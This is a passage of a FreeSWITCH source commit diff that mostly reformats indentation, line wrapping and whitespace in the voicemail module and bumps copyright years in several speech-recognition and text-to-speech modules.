switch_event_t *event;
- message_count(profile, id, domain_name, myfolder, &total_new_messages, &total_saved_messages, &total_new_urgent_messages, &total_saved_urgent_messages);
+ message_count(profile, id, domain_name, myfolder, &total_new_messages, &total_saved_messages, &total_new_urgent_messages,
+ &total_saved_urgent_messages);
if (switch_event_create(&event, SWITCH_EVENT_MESSAGE_WAITING) != SWITCH_STATUS_SUCCESS) {
return;
@@ -1685,7 +1674,8 @@
}
switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "MWI-Messages-Waiting", yn);
switch_event_add_header(event, SWITCH_STACK_BOTTOM, "MWI-Message-Account", "%s@%s", id, domain_name);
- switch_event_add_header(event, SWITCH_STACK_BOTTOM, "MWI-Voice-Message", "%d/%d (%d/%d)", total_new_messages, total_saved_messages, total_new_urgent_messages, total_saved_urgent_messages);
+ switch_event_add_header(event, SWITCH_STACK_BOTTOM, "MWI-Voice-Message", "%d/%d (%d/%d)", total_new_messages, total_saved_messages,
+ total_new_urgent_messages, total_saved_urgent_messages);
switch_event_fire(&event);
}
@@ -1762,7 +1752,7 @@
char msg_count[80] = "";
switch_input_args_t folder_args = { 0 };
switch_event_t *params;
-
+
folder_args.input_callback = cancel_on_dtmf;
folder_args.buf = &global_buf;
folder_args.buflen = sizeof(global_buf);
@@ -1907,13 +1897,10 @@
}
switch_snprintf(key_buf, sizeof(key_buf), "%s:%s:%s:%s:%s",
- profile->record_greeting_key,
- profile->choose_greeting_key,
- profile->record_name_key,
- profile->change_pass_key,
- profile->main_menu_key);
-
+ profile->record_greeting_key,
+ profile->choose_greeting_key, profile->record_name_key, profile->change_pass_key, profile->main_menu_key);
+
TRY_CODE(vm_macro_get(session, VM_CONFIG_MENU_MACRO, key_buf, input, sizeof(input), 1, "", &term, timeout));
if (status != SWITCH_STATUS_SUCCESS && status != SWITCH_STATUS_BREAK) {
goto end;
@@ -1992,14 +1979,14 @@
switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "VM-User", myid);
switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "VM-Domain", domain_name);
switch_channel_event_set_data(channel, params);
-
+
if (switch_xml_locate_user("id", myid, domain_name, switch_channel_get_variable(channel, "network_addr"),
&xx_domain_root, &xx_domain, &xx_user, NULL, params) == SWITCH_STATUS_SUCCESS) {
switch_xml_free(xx_domain_root);
}
switch_event_fire(¶ms);
-
+
} else if (!strcmp(input, profile->record_name_key)) {
file_path = switch_mprintf("%s%srecorded_name.%s", dir_path, SWITCH_PATH_SEPARATOR, profile->file_ext);
TRY_CODE(create_file(session, profile, VM_RECORD_NAME_MACRO, file_path, &message_len, SWITCH_FALSE, NULL, NULL));
@@ -2030,7 +2017,7 @@
} else {
switch_snprintf(key_buf, sizeof(key_buf), "%s:%s:%s:%s",
profile->play_new_messages_key, profile->play_saved_messages_key, profile->config_menu_key, profile->terminator_key);
-
+
status = vm_macro_get(session, VM_MENU_MACRO, key_buf, input, sizeof(input), 1, "", &term, timeout);
}
@@ -2058,7 +2045,8 @@
break;
case VM_CHECK_AUTH:
{
- prefs_callback_t cbt = {{0}};
+ prefs_callback_t cbt = { {0}
+ };
char sql[512] = "";
if (!attempts) {
@@ -2091,8 +2079,8 @@
switch_assert(params);
switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "destination_number", caller_profile->destination_number);
switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "caller_id_number", caller_id_number);
-
-
+
+
if (switch_xml_locate_user("id", myid, domain_name, switch_channel_get_variable(channel, "network_addr"),
&x_domain_root, &x_domain, &x_user, NULL, params) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Can't find user [%s@%s]\n", myid, domain_name);
@@ -2126,7 +2114,7 @@
for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
const char *var = switch_xml_attr_soft(x_param, "name");
const char *val = switch_xml_attr_soft(x_param, "value");
-
+
if (!strcasecmp(var, "a1-hash")) {
thehash = switch_core_session_strdup(session, val);
} else if (!strcasecmp(var, "vm-a1-hash")) {
@@ -2154,10 +2142,10 @@
convert_ext = switch_core_session_strdup(session, val);
} else if (!strcasecmp(var, "storage-dir")) {
vm_storage_dir = switch_core_session_strdup(session, val);
-
+
} else if (!strcasecmp(var, "timezone")) {
switch_channel_set_variable(channel, var, val);
- }
+ }
}
@@ -2181,7 +2169,7 @@
if (vmhash) {
thehash = vmhash;
}
-
+
if (!auth && !thepass && !zstr(cbt.password)) {
thepass = cbt.password;
}
@@ -2203,7 +2191,7 @@
}
switch_safe_free(lpbuf);
}
-
+
if (!auth && thepass && !strcmp(thepass, mypass)) {
auth++;
}
@@ -2211,13 +2199,15 @@
}
FREE_DOMAIN_ROOT();
-
+
if (auth) {
if (!dir_path) {
if (!zstr(vm_storage_dir)) {
dir_path = switch_core_session_sprintf(session, "%s%s%s", vm_storage_dir, SWITCH_PATH_SEPARATOR, myid);
- } else if ( !zstr(profile->storage_dir) ) {
- dir_path = switch_core_session_sprintf(session, "%s%s%s%s%s", profile->storage_dir, SWITCH_PATH_SEPARATOR, domain_name, SWITCH_PATH_SEPARATOR, myid);
+ } else if (!zstr(profile->storage_dir)) {
+ dir_path =
+ switch_core_session_sprintf(session, "%s%s%s%s%s", profile->storage_dir, SWITCH_PATH_SEPARATOR, domain_name,
+ SWITCH_PATH_SEPARATOR, myid);
} else {
dir_path = switch_core_session_sprintf(session, "%s%svoicemail%s%s%s%s%s%s", SWITCH_GLOBAL_dirs.storage_dir,
SWITCH_PATH_SEPARATOR,
@@ -2235,11 +2225,11 @@
} else {
goto failed;
}
-
+
continue;
failed:
-
+
FREE_DOMAIN_ROOT();
status = switch_ivr_phrase_macro(session, VM_FAIL_AUTH_MACRO, NULL, NULL, NULL);
@@ -2269,18 +2259,15 @@
}
-static switch_status_t deliver_vm(vm_profile_t *profile,
- switch_xml_t x_user,
- const char *domain_name,
- const char *path,
+static switch_status_t deliver_vm(vm_profile_t *profile,
+ switch_xml_t x_user,
+ const char *domain_name,
+ const char *path,
uint32_t message_len,
const char *read_flags,
- switch_event_t *params,
- switch_memory_pool_t *pool,
- const char *caller_id_name,
- const char *caller_id_number,
- const char *forwarded_by,
- switch_bool_t copy)
+ switch_event_t *params,
+ switch_memory_pool_t *pool,
+ const char *caller_id_name, const char *caller_id_number, const char *forwarded_by, switch_bool_t copy)
{
char *file_path = NULL, *dir_path = NULL;
const char *myid = switch_xml_attr(x_user, "id");
@@ -2310,7 +2297,7 @@
switch_event_create(&local_event, SWITCH_EVENT_REQUEST_PARAMS);
params = local_event;
}
-
+
if ((tmp = switch_event_get_header(params, "effective_caller_id_name"))) {
caller_id_name = tmp;
}
@@ -2318,7 +2305,7 @@
if ((tmp = switch_event_get_header(params, "effective_caller_id_number"))) {
caller_id_number = tmp;
}
-
+
switch_uuid_get(&uuid);
switch_uuid_format(uuid_str, &uuid);
@@ -2332,7 +2319,7 @@
for (x_param = switch_xml_child(x_params, "variable"); x_param; x_param = x_param->next) {
const char *var = switch_xml_attr_soft(x_param, "name");
const char *val = switch_xml_attr_soft(x_param, "value");
-
+
if (!strcasecmp(var, "timezone")) {
vm_timezone = switch_core_strdup(pool, val);
}
@@ -2365,7 +2352,7 @@
} else if (!strcasecmp(var, "timezone")) {
vm_timezone = switch_core_strdup(pool, val);
}
- /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Send mail is %d, var is %s\n", send_mail, var);*/
+ /*switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Send mail is %d, var is %s\n", send_mail, var); */
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Deliver VM to %s@%s\n", myid, domain_name);
@@ -2391,7 +2378,7 @@
if (copy) {
switch_file_copy(path, file_path, SWITCH_FPROT_FILE_SOURCE_PERMS, pool);
} else {
- file_path = (char *)path;
+ file_path = (char *) path;
}
if (!message_len) {
@@ -2404,7 +2391,7 @@
if (insert_db && switch_file_exists(file_path, pool) == SWITCH_STATUS_SUCCESS) {
char *usql;
switch_event_t *message_event;
-
+
switch_event_create_subclass(&message_event, SWITCH_EVENT_CUSTOM, VM_EVENT_MAINT);
switch_event_add_header_string(message_event, SWITCH_STACK_BOTTOM, "VM-Action", "leave-message");
switch_event_add_header_string(message_event, SWITCH_STACK_BOTTOM, "VM-User", myid);
@@ -2483,7 +2470,7 @@
if (vm_notify_email) {
switch_event_add_header_string(params, SWITCH_STACK_BOTTOM, "voicemail_notify_email", vm_notify_email);
}
- l_duration = switch_time_make (message_len, 0);
+ l_duration = switch_time_make(message_len, 0);
switch_core_measure_time(l_duration, &duration);
duration.day += duration.yr * 365;
duration.hr += duration.day * 24;
@@ -2500,10 +2487,8 @@
if (send_main) {
if (zstr(profile->email_headers)) {
- headers = switch_mprintf(
- "From: FreeSWITCH mod_voicemail <%s@%s>\n"
- "Subject: Voicemail from %s %s\nX-Priority: %d",
- myid, domain_name, caller_id_name, caller_id_number, priority);
+ headers = switch_mprintf("From: FreeSWITCH mod_voicemail <%s@%s>\n"
+ "Subject: Voicemail from %s %s\nX-Priority: %d", myid, domain_name, caller_id_name, caller_id_number, priority);
} else {
headers = switch_event_expand_headers(params, profile->email_headers);
}
@@ -2539,9 +2524,9 @@
}
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Sending message to %s\n", vm_email);
-
+
if (body != profile->email_body) {
- switch_safe_free(body);
+ switch_safe_free(body);
}
if (headers != profile->email_headers) {
@@ -2552,10 +2537,8 @@
if (send_notify) {
if (zstr(profile->notify_email_headers)) {
- headers = switch_mprintf(
- "From: FreeSWITCH mod_voicemail <%s@%s>\n"
- "Subject: Voicemail from %s %s\nX-Priority: %d",
- myid, domain_name, caller_id_name, caller_id_number, priority);
+ headers = switch_mprintf("From: FreeSWITCH mod_voicemail <%s@%s>\n"
+ "Subject: Voicemail from %s %s\nX-Priority: %d", myid, domain_name, caller_id_name, caller_id_number, priority);
} else {
headers = switch_event_expand_headers(params, profile->notify_email_headers);
}
@@ -2587,9 +2570,9 @@
switch_simple_email(vm_notify_email, from, header_string, body, NULL, NULL, NULL);
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Sending notify message to %s\n", vm_notify_email);
-
+
if (body != profile->notify_email_body) {
- switch_safe_free(body);
+ switch_safe_free(body);
}
if (headers != profile->notify_email_headers) {
@@ -2635,7 +2618,7 @@
status = SWITCH_STATUS_FALSE;
goto end;
}
-
+
dup = strdup(data);
switch_assert(dup);
@@ -2655,7 +2638,7 @@
}
user = box;
-
+
if ((domain = strchr(user, '@'))) {
*domain++ = '\0';
} else {
@@ -2674,7 +2657,7 @@
} else if (user == domain) {
isall++;
}
-
+
if (!(user && domain)) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid syntax [%s][%s]\n", switch_str_nil(user), switch_str_nil(domain));
status = SWITCH_STATUS_FALSE;
@@ -2686,7 +2669,7 @@
profile = get_profile("default");
}
}
-
+
if (!profile) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't find profile\n");
status = SWITCH_STATUS_FALSE;
@@ -2713,19 +2696,19 @@
}
switch_event_add_header_string(my_params, SWITCH_STACK_BOTTOM, "domain", domain);
switch_event_add_header_string(my_params, SWITCH_STACK_BOTTOM, "purpose", "publish-vm");
-
+
if (switch_xml_locate_domain(domain, my_params, &xml_root, &x_domain) != SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "Cannot locate domain %s\n", domain);
status = SWITCH_STATUS_FALSE;
switch_event_destroy(&my_params);
goto end;
}
-
+
switch_event_destroy(&my_params);
switch_core_new_memory_pool(&pool);
-
-
+
+
if (isgroup) {
switch_xml_t group = NULL, groups = NULL, users = NULL;
if ((groups = switch_xml_child(x_domain, "groups"))) {
@@ -2733,19 +2716,21 @@
if ((users = switch_xml_child(group, "users"))) {
for (ut = switch_xml_child(users, "user"); ut; ut = ut->next) {
const char *type = switch_xml_attr_soft(ut, "type");
-
+
if (!strcasecmp(type, "pointer")) {
const char *uname = switch_xml_attr_soft(ut, "id");
switch_xml_t ux;
if (switch_xml_locate_user_in_domain(uname, x_domain, &ux, NULL) == SWITCH_STATUS_SUCCESS) {
switch_event_create(&my_params, SWITCH_EVENT_REQUEST_PARAMS);
- status = deliver_vm(profile, ux, domain, path, 0, read_flags, my_params, pool, cid_name, cid_num, forwarded_by, SWITCH_TRUE);
+ status =
+ deliver_vm(profile, ux, domain, path, 0, read_flags, my_params, pool, cid_name, cid_num, forwarded_by,
+ SWITCH_TRUE);
switch_event_destroy(&my_params);
}
continue;
}
-
+
switch_event_create(&my_params, SWITCH_EVENT_REQUEST_PARAMS);
status = deliver_vm(profile, ut, domain, path, 0, read_flags, my_params, pool, cid_name, cid_num, forwarded_by, SWITCH_TRUE);
switch_event_destroy(&my_params);
@@ -2762,7 +2747,7 @@
if ((users = switch_xml_child(group, "users"))) {
for (ut = switch_xml_child(users, "user"); ut; ut = ut->next) {
const char *type = switch_xml_attr_soft(ut, "type");
-
+
if (!strcasecmp(type, "pointer")) {
continue;
}
@@ -2774,7 +2759,7 @@
}
}
}
-
+
} else {
switch_xml_t x_group = NULL;
@@ -2787,7 +2772,7 @@
}
}
profile_rwunlock(profile);
-
+
switch_core_destroy_memory_pool(&pool);
switch_xml_free(xml_root);
@@ -2845,7 +2830,7 @@
switch_channel_set_variable(channel, "skip_greeting", NULL);
switch_channel_set_variable(channel, "skip_instructions", NULL);
-
+
if (!(caller_id_name = switch_channel_get_variable(channel, "effective_caller_id_name"))) {
caller_id_name = caller_profile->caller_id_name;
}
@@ -2861,8 +2846,8 @@
switch_event_t *locate_params = NULL;
const char *email_addr = NULL;
char *x;
-
+
switch_event_create(&locate_params, SWITCH_EVENT_REQUEST_PARAMS);
switch_assert(locate_params);
@@ -2875,7 +2860,7 @@
x_domain = NULL;
switch_xml_free(x_domain_root);
x_domain_root = NULL;
-
+
if ((x_params = switch_xml_child(x_user, "params"))) {
for (x_param = switch_xml_child(x_params, "param"); x_param; x_param = x_param->next) {
const char *var = switch_xml_attr_soft(x_param, "name");
@@ -2922,9 +2907,10 @@
send_notify = 0;
}
}
-
+
if (send_mail && (!(send_main || send_notify))) {
- switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Falling back to leaving message locally due to too many misconfiguration.\n");
+ switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING,
+ "Falling back to leaving message locally due to too many misconfiguration.\n");
send_mail = 0;
insert_db = 1;
}
@@ -2932,14 +2918,14 @@
if (send_notify && !send_main) {
insert_db = 1;
}
-
+
} else {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_WARNING, "Can't find user [%s@%s]\n", id, domain_name);
ok = 0;
}
switch_event_destroy(&locate_params);
-
+
if (!ok) {
goto end;
}
@@ -2981,7 +2967,7 @@
greet_path = cbt.greeting_path;
}
-greet:
+ greet:
if (!skip_greeting) {
memset(buf, 0, sizeof(buf));
args.input_callback = cancel_on_dtmf;
@@ -3009,38 +2995,38 @@
}
}
- if (*buf != '\0') {
-greet_key_press:
- if (switch_stristr(buf, profile->login_keys)) {
- voicemail_check_main(session, profile, domain_name, id, 0);
- } else if (!strcasecmp(buf, profile->operator_key) && !zstr(profile->operator_key)) {
- int argc;
- char *argv[4];
- char *mycmd;
+ if (*buf != '\0') {
+ greet_key_press:
+ if (switch_stristr(buf, profile->login_keys)) {
+ voicemail_check_main(session, profile, domain_name, id, 0);
+ } else if (!strcasecmp(buf, profile->operator_key) && !zstr(profile->operator_key)) {
+ int argc;
+ char *argv[4];
+ char *mycmd;
- if (!zstr(profile->operator_ext) && (mycmd = switch_core_session_strdup(session, profile->operator_ext))) {
- argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
- if (argc >= 1 && argc <= 4) {
- switch_ivr_session_transfer(session, argv[0], argv[1], argv[2]);
- /* the application still runs after we leave it so we need to make sure that we don't do anything evil */
- send_mail = 0;
- goto end;
- }
- }
- } else if (!strcasecmp(buf, profile->vmain_key) && !zstr(profile->vmain_key)) {
- int argc;
- char *argv[4];
- char *mycmd;
+ if (!zstr(profile->operator_ext) && (mycmd = switch_core_session_strdup(session, profile->operator_ext))) {
+ argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
+ if (argc >= 1 && argc <= 4) {
+ switch_ivr_session_transfer(session, argv[0], argv[1], argv[2]);
+ /* the application still runs after we leave it so we need to make sure that we don't do anything evil */
+ send_mail = 0;
+ goto end;
+ }
+ }
+ } else if (!strcasecmp(buf, profile->vmain_key) && !zstr(profile->vmain_key)) {
+ int argc;
+ char *argv[4];
+ char *mycmd;
- if (!zstr(profile->vmain_ext) && (mycmd = switch_core_session_strdup(session, profile->vmain_ext))) {
- argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
- if (argc >= 1 && argc <= 4) {
- switch_ivr_session_transfer(session, argv[0], argv[1], argv[2]);
- /* the application still runs after we leave it so we need to make sure that we don't do anything evil */
- send_mail = 0;
- goto end;
- }
- }
+ if (!zstr(profile->vmain_ext) && (mycmd = switch_core_session_strdup(session, profile->vmain_ext))) {
+ argc = switch_separate_string(mycmd, ' ', argv, (sizeof(argv) / sizeof(argv[0])));
+ if (argc >= 1 && argc <= 4) {
+ switch_ivr_session_transfer(session, argv[0], argv[1], argv[2]);
+ /* the application still runs after we leave it so we need to make sure that we don't do anything evil */
+ send_mail = 0;
+ goto end;
+ }
+ }
} else if (*profile->skip_greet_key && !strcasecmp(buf, profile->skip_greet_key)) {
skip_instructions = SWITCH_TRUE;
} else {
@@ -3056,14 +3042,12 @@
if (disk_quota) {
callback_t callback = { 0 };
char sqlstmt[256];
- char disk_usage[256] = "";
+ char disk_usage[256] = "";
callback.buf = disk_usage;
callback.len = sizeof(disk_usage);
- switch_snprintf(sqlstmt, sizeof(sqlstmt),
- "select sum(message_len) from voicemail_msgs where username='%s' and domain='%s'",
- id, domain_name);
+ switch_snprintf(sqlstmt, sizeof(sqlstmt), "select sum(message_len) from voicemail_msgs where username='%s' and domain='%s'", id, domain_name);
vm_execute_sql_callback(profile, profile->mutex, sqlstmt, sql2str_callback, &callback);
if (atoi(disk_usage) >= disk_quota) {
@@ -3110,26 +3094,26 @@
switch_snprintf(key_buf, sizeof(key_buf), "%s:%s", profile->urgent_key, profile->terminator_key);
- (void)vm_macro_get(session, VM_RECORD_URGENT_CHECK_MACRO, key_buf, input, sizeof(input), 1, "", &term, profile->digit_timeout);
+ (void) vm_macro_get(session, VM_RECORD_URGENT_CHECK_MACRO, key_buf, input, sizeof(input), 1, "", &term, profile->digit_timeout);
if (*profile->urgent_key == *input) {
read_flags = URGENT_FLAG_STRING;
priority = 1;
- (void)switch_ivr_phrase_macro(session, VM_ACK_MACRO, "marked-urgent", NULL, NULL);
+ (void) switch_ivr_phrase_macro(session, VM_ACK_MACRO, "marked-urgent", NULL, NULL);
} else {
- (void)switch_ivr_phrase_macro(session, VM_ACK_MACRO, "saved", NULL, NULL);
+ (void) switch_ivr_phrase_macro(session, VM_ACK_MACRO, "saved", NULL, NULL);
}
}
-
+
if (x_user) {
switch_channel_get_variables(channel, &vars);
- status = deliver_vm(profile, x_user, domain_name, file_path, message_len, read_flags, vars,
+ status = deliver_vm(profile, x_user, domain_name, file_path, message_len, read_flags, vars,
switch_core_session_get_pool(session), caller_id_name, caller_id_number, NULL, SWITCH_FALSE);
switch_event_destroy(&vars);
if (status == SWITCH_STATUS_SUCCESS) {
if ((vm_cc = switch_channel_get_variable(channel, "vm_cc"))) {
- char *cmd = switch_core_session_sprintf(session, "%s %s %s %s %s@%s %s",
+ char *cmd = switch_core_session_sprintf(session, "%s %s %s %s %s@%s %s",
vm_cc, file_path, caller_id_number, caller_id_name, id, domain_name, read_flags);
-
+
if (voicemail_inject(cmd) == SWITCH_STATUS_SUCCESS) {
switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_NOTICE, "Sent Carbon Copy to %s\n", vm_cc);
} else {
@@ -3168,7 +3152,7 @@
int argc = 0;
char *argv[6] = { 0 };
char *mydata = NULL;
- vm_profile_t * profile = NULL;
+ vm_profile_t *profile = NULL;
const char *profile_name = NULL;
const char *domain_name = NULL;
const char *id = NULL;
@@ -3238,7 +3222,7 @@
}
profile_rwunlock(profile);
-
+
}
#define BOXCOUNT_SYNTAX "[profile/]<user>@<domain>[|[new|saved|new-urgent|saved-urgent|all]]"
@@ -3252,20 +3236,20 @@
int total_saved_urgent_messages = 0;
vm_profile_t *profile;
char *id, *domain, *p, *profilename = NULL;
-
+
if (zstr(cmd)) {
- stream->write_function(stream, "%d", 0);
+ stream->write_function(stream, "%d", 0);
return SWITCH_STATUS_SUCCESS;
}
id = dup = strdup(cmd);
-
+
if ((p = strchr(dup, '/'))) {
*p++ = '\0';
id = p;
profilename = dup;
}
-
+
if (!strncasecmp(id, "sip:", 4)) {
id += 4;
}
@@ -3319,10 +3303,11 @@
stream->write_function(stream, "%d", total_new_messages);
}
-done:
+ done:
switch_safe_free(dup);
return SWITCH_STATUS_SUCCESS;
}
+
#define PREFS_SYNTAX "[profile/]<user>@<domain>[|[name_path|greeting_path|password]]"
SWITCH_STANDARD_API(prefs_api_function)
{
@@ -3331,7 +3316,7 @@
vm_profile_t *profile = NULL;
char *id, *domain, *p, *profilename = NULL;
char sql[256];
- prefs_callback_t cbt = {{0}};
+ prefs_callback_t cbt = { {0} };
if (zstr(cmd)) {
stream->write_function(stream, "%d", 0);
@@ -3387,9 +3372,9 @@
stream->write_function(stream, "%s", cbt.password);
} else {
stream->write_function(stream, "%s:%s:%s", cbt.greeting_path, cbt.name_path, cbt.password);
- }
+ }
profile_rwunlock(profile);
-done:
+ done:
switch_safe_free(dup);
return SWITCH_STATUS_SUCCESS;
}
@@ -3629,15 +3614,15 @@
char title_aft[128 * 3] = "";
if (argc > 0) {
- l_created = switch_time_make (atol(argv[0]), 0);
+ l_created = switch_time_make(atol(argv[0]), 0);
}
if (argc > 1) {
- l_read = switch_time_make (atol(argv[1]), 0);
+ l_read = switch_time_make(atol(argv[1]), 0);
}
if (argc > 9) {
- l_duration = switch_time_make (atol(argv[9]), 0);
+ l_duration = switch_time_make(atol(argv[9]), 0);
}
if ((fname = strrchr(argv[8], '/'))) {
@@ -3719,15 +3704,15 @@
char heard[80];
if (argc > 0) {
- l_created = switch_time_make (atol(argv[0]), 0);
+ l_created = switch_time_make(atol(argv[0]), 0);
}
if (argc > 1) {
- l_read = switch_time_make (atol(argv[1]), 0);
+ l_read = switch_time_make(atol(argv[1]), 0);
}
if (argc > 9) {
- l_duration = switch_time_make (atol(argv[9]), 0);
+ l_duration = switch_time_make(atol(argv[9]), 0);
}
switch_core_measure_time(l_duration, &duration);
@@ -3868,7 +3853,8 @@
}
-static void do_web(vm_profile_t *profile, const char *user_in, const char *domain, const char *host, const char *port, const char *uri, switch_stream_handle_t *stream)
+static void do_web(vm_profile_t *profile, const char *user_in, const char *domain, const char *host, const char *port, const char *uri,
+ switch_stream_handle_t *stream)
{
char buf[80] = "";
struct holder holder;
@@ -3996,7 +3982,7 @@
}
stream->write_function(stream, "+OK reload complete\n");
goto done;
-
+
} else if (!strcasecmp(argv[0], "status")) {
stream->write_function(stream, "============================\n");
switch_mutex_lock(globals.mutex);
@@ -4134,15 +4120,15 @@
switch_event_unbind_callback(message_query_handler);
switch_mutex_lock(globals.mutex);
- while((hi = switch_hash_first(NULL, globals.profile_hash))) {
+ while ((hi = switch_hash_first(NULL, globals.profile_hash))) {
switch_hash_this(hi, &key, &keylen, &val);
profile = (vm_profile_t *) val;
-
+
switch_core_hash_delete(globals.profile_hash, profile->name);
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Waiting for write lock (Profile %s)\n", profile->name);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Waiting for write lock (Profile %s)\n", profile->name);
switch_thread_rwlock_wrlock(profile->rwlock);
-
+
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "Destroying Profile %s\n", profile->name);
switch_core_destroy_memory_pool(&profile->pool);
Modified: freeswitch/trunk/src/mod/asr_tts/mod_cepstral/mod_cepstral.c (16578 => 16579)
--- freeswitch/trunk/src/mod/asr_tts/mod_cepstral/mod_cepstral.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/asr_tts/mod_cepstral/mod_cepstral.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
Modified: freeswitch/trunk/src/mod/asr_tts/mod_flite/mod_flite.c (16578 => 16579)
--- freeswitch/trunk/src/mod/asr_tts/mod_flite/mod_flite.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/asr_tts/mod_flite/mod_flite.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -71,7 +71,7 @@
flite_t *flite = switch_core_alloc(sh->memory_pool, sizeof(*flite));
sh->native_rate = 16000;
-
+
if (!strcasecmp(voice_name, "awb")) {
flite->v = globals.awb;
} else if (!strcasecmp(voice_name, "kal")) {
@@ -108,9 +108,9 @@
static switch_status_t flite_speech_feed_tts(switch_speech_handle_t *sh, char *text, switch_speech_flag_t *flags)
{
flite_t *flite = (flite_t *) sh->private_info;
-
+
flite->w = flite_text_to_wave(text, flite->v);
-
+
return SWITCH_STATUS_SUCCESS;
}
@@ -128,10 +128,10 @@
{
size_t bytes_read;
flite_t *flite = (flite_t *) sh->private_info;
-
+
if (!flite->audio_buffer) {
int32_t len;
-
+
if (flite->w) {
len = flite->w->num_samples * 2;
} else {
@@ -146,28 +146,28 @@
switch_buffer_write(flite->audio_buffer, flite->w->samples, flite->w->num_samples * 2);
free_wave(flite->w);
}
-
+
if ((bytes_read = switch_buffer_read(flite->audio_buffer, data, *datalen))) {
*datalen = bytes_read;
return SWITCH_STATUS_SUCCESS;
}
-
+
return SWITCH_STATUS_FALSE;
}
static void flite_text_param_tts(switch_speech_handle_t *sh, char *param, const char *val)
{
-
+
}
static void flite_numeric_param_tts(switch_speech_handle_t *sh, char *param, int val)
{
-
+
}
static void flite_float_param_tts(switch_speech_handle_t *sh, char *param, double val)
{
-
+
}
SWITCH_MODULE_LOAD_FUNCTION(mod_flite_load)
@@ -179,7 +179,7 @@
globals.kal = register_cmu_us_kal();
globals.rms = register_cmu_us_rms();
globals.slt = register_cmu_us_slt();
-
+
/* connect my internal structure to the blank pointer passed to me */
*module_interface = switch_loadable_module_create_module_interface(pool, modname);
speech_interface = switch_loadable_module_create_interface(*module_interface, SWITCH_SPEECH_INTERFACE);
Modified: freeswitch/trunk/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.c (16578 => 16579)
--- freeswitch/trunk/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.c 2010-02-06 00:51:41 UTC (rev 16578)
+++ freeswitch/trunk/src/mod/asr_tts/mod_pocketsphinx/mod_pocketsphinx.c 2010-02-06 03:38:24 UTC (rev 16579)
@@ -1,6 +1,6 @@
/*
* FreeSWITCH Modular Media Switching Software Library / Soft-Switch Application
- * Copyright (C) 2005-2009, Anthony Minessale II <anthm@freeswitch.org>
+ * Copyright (C) 2005-2010, Anthony Minessale II <anthm@freeswitch.org>
*
* Version: MPL 1.1
*
@@ -87,23 +87,23 @@
if (!(ps = (pocketsphinx_t *) switch_core_alloc(ah->memory_pool, sizeof(*ps)))) {
return SWITCH_STATUS_MEMERR;
}
-
+
switch_mutex_init(&ps->flag_mutex, SWITCH_MUTEX_NESTED, ah->memory_pool);
ah->private_info = ps;
- if (rate == 8000) {
+ if (rate == 8000) {
ah->rate = 8000;
} else if (rate == 16000) {
ah->rate = 16000;
- } else {
+ } else {
switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Invalid rate %d. Only 8000 and 16000 are supported.\n", rate);
}
codec = "L16";
- ah->codec = switch_core_strdup(ah->memory_pool, codec);
+ ah->codec = switch_core_strdup(ah->memory_pool, codec);
-
+
ps->thresh = globals.thresh;
ps->silence_hits = globals.silence_hits;
ps->listen_hits = globals.listen_hits;
@@ -139,34 +139,28 @@
dic = switch_mprintf("%s%s%s", SWITCH_GLOBAL_dirs.grammar_dir, SWITCH_PATH_SEPARATOR, globals.dictionary);
if (switch_file_exists(dic, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
- switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open dictionary %s.\n", dic);
+ switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can't open dictionary %s.\n", dic);
goto end;
}
if (switch_file_exists(model, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
